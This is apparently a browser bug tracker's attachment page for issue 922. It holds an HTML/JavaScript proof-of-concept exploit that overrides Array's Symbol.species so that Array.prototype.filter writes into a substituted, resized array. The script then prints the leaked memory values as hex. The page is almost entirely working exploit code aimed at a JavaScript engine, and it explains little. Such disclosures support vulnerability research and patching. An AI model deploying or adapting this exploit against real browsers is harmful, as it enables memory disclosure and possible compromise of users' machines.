New issue
Advanced search Search tips

Issue 922 attachment: filter (1).html (799 bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<html><body><script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
d.length = 0x200000;
d.fill(7);
class dummy{

constructor(){
alert("in constructor");
return d;
}

}

class MyArray extends Array {
// Overwrite species to the parent Array constructor
static get [Symbol.species]() {

alert("get");
b[0] = {};
return dummy; }
}

var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);

for(var i = 0; i < 0x200000; i++){
a[i] = i;

}

function test(i){

return true;

}



a.__proto__ = MyArray.prototype;

var o = a.filter(test);
alert(o);
var h = [];

for(item in o){

var n = new Number(o[item]);
if (n < 0){
n = n + 0x100000000;
}
h.push(n.toString(16));

}

alert(h);

</script></body></html>